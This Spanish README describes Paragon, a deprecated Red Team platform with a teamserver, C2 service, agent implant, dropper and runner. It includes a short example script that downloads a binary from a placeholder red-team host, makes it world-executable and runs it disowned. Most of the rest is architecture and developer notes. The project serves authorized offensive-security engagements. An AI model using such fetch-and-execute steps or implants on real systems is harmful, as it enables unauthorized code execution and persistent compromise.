
Plataforma de compromiso Red Team con el objetivo de unificar herramientas ofensivas tras una interfaz de usuario simple.
Este proyecto ha sido deprecado, por favor consulte nuestro nuevo proyecto Realm, que se basa en muchas de las ideas que tuvimos al construir este repositorio.

Paragon es una plataforma de compromiso de Red Team. Su objetivo es unificar herramientas ofensivas detrás de una interfaz de usuario simple, abstrayendo gran parte del trabajo de backend para permitir que los operadores se centren en escribir implantes y dediquen menos tiempo a preocuparse por bases de datos y CSS. El repositorio también proporciona algunas herramientas ofensivas ya integradas con Paragon que pueden utilizarse durante compromisos.
Este repositorio aún está en desarrollo intensivo y no está listo para uso en producción. Cuando se considere estable, se lanzará una etiqueta V1.0.0. Hasta entonces, la API puede sufrir cambios disruptivos mientras simplificamos continuamente nuestro diseño. Lea la documentación para desarrolladores a continuación si desea ayudarnos a alcanzar este hito más rápido.
Se puede configurar una instancia rápida de demostración clonando el repositorio y ejecutando docker-compose up. Abra 127.0.0.1:80 en su navegador para comenzar.
Las imágenes utilizadas están disponibles en docker-hub y se pueden configurar desde un archivo docker-compose para un despliegue en producción.
La mayoría de los componentes de este repositorio dependen de un lenguaje de scripting similar a Python que permite un control potente y la personalización de su comportamiento. El lenguaje es una versión modificada de Google's starlark, extendido con funcionalidad multiplataforma para los operadores. Esto también permite que herramientas como el agente y el droppedor (discutidos a continuación) ejecuten tareas sin depender de binarios del sistema (curl, bash, etc.). Todas las operaciones se ejecutan como código en Golang, por lo que es intuitivo agregar funcionalidad adicional al entorno de scripting. Aquí hay un script de ejemplo:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Proporciona una aplicación web simple y una API GraphQL para interactuar con un grafo de conocimiento del Red Team, unificando herramientas detrás de una fuente centralizada de verdad y abstrayendo muchas preocupaciones tediosas del backend de los operadores. Integre sus herramientas personalizadas con el Teamserver (usando la API GraphQL o suscripciones a eventos) para ahorrar tiempo en el trabajo de backend. El Teamserver registra toda la actividad, por lo que con todas sus herramientas unificadas en un solo lugar, escribir informes posteriores al compromiso se vuelve significativamente más fácil.
Las siguientes herramientas también están incluidas en el repositorio. Se pueden extender fácilmente para adaptarse a muchos casos de uso multiplataforma.
Paragon proporciona una herramienta para empaquetar activos (binarios, scripts, etc.) en un solo binario que, al ejecutarse, ejecutará su script de despliegue personalizado que puede escribir activos en el sistema de archivos, lanzar procesos, descargar archivos, manejar errores y más. Es completamente multiplataforma y compilado estáticamente, proporcionando despliegues confiables. Si desea extender su funcionalidad, simplemente puede extender el archivo golang generado antes de compilar.
Un implante que ejecuta tareas e informa los resultados de la ejecución. Está configurado por defecto para ejecutar tareas usando el lenguaje de scripting similar a Python de Paragon y para comunicarse con un C2 a través de http(s). Está escrito en Go y se puede modificar rápidamente para agregar nuevos métodos de transporte (por ejemplo, DNS), opciones de ejecución, lógica de conmutación por error y más.
Actúa como intermediario entre el Agente y el Teamserver. Maneja las devoluciones de llamada del agente para una variedad de mecanismos de comunicación y le proporciona nuevas tareas desde la cola del teamserver.
En lugar de esperar una devolución de llamada, algunas situaciones pueden requerir una conexión directa para ejecutar rápidamente una tarea y ver su salida. El runner logra esto suscribiéndose a colas de tareas y estableciendo una conexión con la máquina objetivo (por ejemplo, usando ssh). Esto permite que integraciones tipo shell utilicen la misma interfaz que los implantes y C2. También permite que el despliegue inicial del implante se realice a través de esta interfaz.
Monitoree la actividad de la red objetivo y los servicios visibles. Mapee un grafo de la red del compromiso y active la automatización en cambios de estado (por ejemplo, ssh se vuelve disponible).
Establecer la variable de entorno killswitch PG_KS_MachineUUID para el teamserver deshabilitará las búsquedas que utilizan UUID de máquina.
Para garantizar una comunicación clara sobre estos sistemas complejos, hemos delineado algunos términos específicos del proyecto a continuación que se utilizarán en toda la documentación del proyecto.
Cualquier software malicioso que se ejecutará en sistemas comprometidos durante el compromiso.
Operaciones deseadas que se ejecutarán en un sistema comprometido específico. Las tareas proporcionan instrucciones de ejecución a los implantes, sin embargo su sintaxis / estructura puede ser completamente específica de una herramienta.
Un implante que recibe tareas del teamserver, las ejecuta e informa sus resultados. Se incluye una implementación predeterminada extensible con este repositorio, que requiere que las tareas se proporcionen como scripts escritos utilizando el DSL similar a Python del proyecto.
Solicitudes para que el Teamserver realice un conjunto de operaciones dadas. Al crear un trabajo, las instrucciones se guardarán pero no se ejecutarán. El usuario puede solicitar que el Teamserver ejecute un trabajo cero o más veces encolando el trabajo y proporcionando los parámetros requeridos. Los trabajos nunca se pueden actualizar, pero se pueden crear nuevas versiones de trabajos para evitar copiar y pegar excesivos.
Un caso de uso común para un Job es cuando el usuario desea ejecutar un script en algunos Targets. El usuario crea un trabajo, que instruye al teamserver para crear tareas con el contenido proporcionado, pero deja las máquinas objetivo deseadas como parámetro. Cuando el trabajo se encola, el usuario proporciona una lista de máquinas objetivo como parámetro, y el Teamserver creará una tarea para cada máquina.
A continuación se muestra una referencia inicial y breve para el desarrollo de Paragon. Se puede encontrar más documentación en los godocs del paquete o leyendo algo de código :) Después de que finalicemos algunas decisiones de diseño (mucho antes de llegar a v1), entrará en vigor un congelamiento de código hasta que toda la documentación se haya actualizado y organizado adecuadamente.
Remote - Containers proporcionada por Microsoft es necesaria para comenzar.Después de instalar los requisitos previos listados anteriormente, podrá comenzar en poco tiempo. Simplemente clone el repositorio y ábralo en VSCode. Se le pedirá que abra el código en un contenedor de desarrollo, que ha sido configurado con todas las dependencias del proyecto y las herramientas de desarrollo que necesitará. Si esta opción no aparece, abra la paleta de comandos y ejecute > Remote-Containers: Open Folder In Container, lo que iniciará el contenedor por usted. Si es la primera vez que inicia el contenedor, puede llevar un tiempo descargarlo... así que tómese un café ^_^
A continuación se muestra una descripción general de la estructura del proyecto y dónde reside cada componente. Si esto se desactualiza, no dude en enviar un issue informándolo o preferiblemente un PR para corregirlo. El código está configurado como un monorepositorio, lo que nos permite aprovechar las herramientas de desarrollo compartidas, la estandarización, etc., evitando conflictos de versiones complicados.
A continuación se muestra una descripción general de la relación entre los nodos en el grafo de conocimiento del Red Team gestionado por el Teamserver.

prioridad de transporte. Para usar el suyo propio, simplemente implemente la interfaz agent.Sender y registre su transporte durante la inicialización. Se pueden encontrar ejemplos de transportes existentes en subdirectorios del paquete agent.
Por defecto, el agente espera que las tareas cumplan con la sintaxis de starlark y expone una biblioteca estándar para que los scripts la utilicen. Para cambiar el comportamiento de la ejecución de tareas (por ejemplo, solo comandos bash), puede implementar la interfaz agent.Receiver para ejecutar tareas como desee.
El entorno de scripting se puede personalizar para su agente, lo que le permite empaquetar fácilmente nueva funcionalidad para que los scripts la utilicen. Consulte opciones de script para aprender cómo extender el motor de scripts del agente.
A continuación se muestra un diagrama de flujo de la ejecución general del implante del agente.
El agente está diseñado para personalizarse fácilmente con nuevos mecanismos de transporte, multiplexando comunicaciones basadas en

| Carpeta | Caso de uso |
|---|
| .devcontainer | Configuración para el entorno de desarrollo de contenedor de VSCode. |
| .github | Configuración de Github. |
| .stats | Un directorio ignorado por git (que puede o no tener) para almacenar la salida de perfilado de rendimiento. |
| ent | Definiciones de API relacionadas con grafos utilizadas por el teamserver. |
| graphql | Esquema GraphQL y código relacionado generado a partir de ent. |
| cmd | Herramientas ejecutables de línea de comandos y servicios. |
| dist | Un directorio ignorado por git para almacenar artefactos de compilación. |
| docker | Dockerfiles utilizados para el despliegue de ejemplo. |
| ent | Modelos y esquemas de grafos utilizados por el teamserver (consulte la herramienta entgo de Facebook para más información). |
| pkg | Bibliotecas públicas utilizadas por las herramientas del repositorio pero también expuestas al mundo. |
| pkg/agent | Una abstracción para crear fácilmente un implante o transporte de comunicación. |
| pkg/c2 | Ayudantes relacionados con el servicio C2 y definiciones de mensajes estandarizadas. |
| pkg/c2/proto | Especificación Protobuf para definir un formato de serialización estandarizado para la comunicación Agente <-> C2. |
| pkg/drop | Proporciona un método simple utilizado por las cargas útiles del droppedor compilado. |
| pkg/middleware | Middleware común para servicios HTTP. |
| pkg/script | Lenguaje de scripting similar a Python para configuración dinámica, automatización y explotación multiplataforma. |
| pkg/script/stdlib | Bibliotecas estándar que exponen funcionalidad para entornos de ejecución de scripting. |
| pkg/teamserver | Ayudantes relacionados con el servicio Teamserver. |
| www | Contiene la aplicación web principal alojada por el teamserver. Creada por la aplicación create-react-app de Facebook. |
| www/src/components | Componentes react reutilizables. |
| www/src/config | Configuración de la aplicación web y enrutamiento. |
| www/src/views | Contenedores que consultan datos del Teamserver y componen componentes para renderizar. |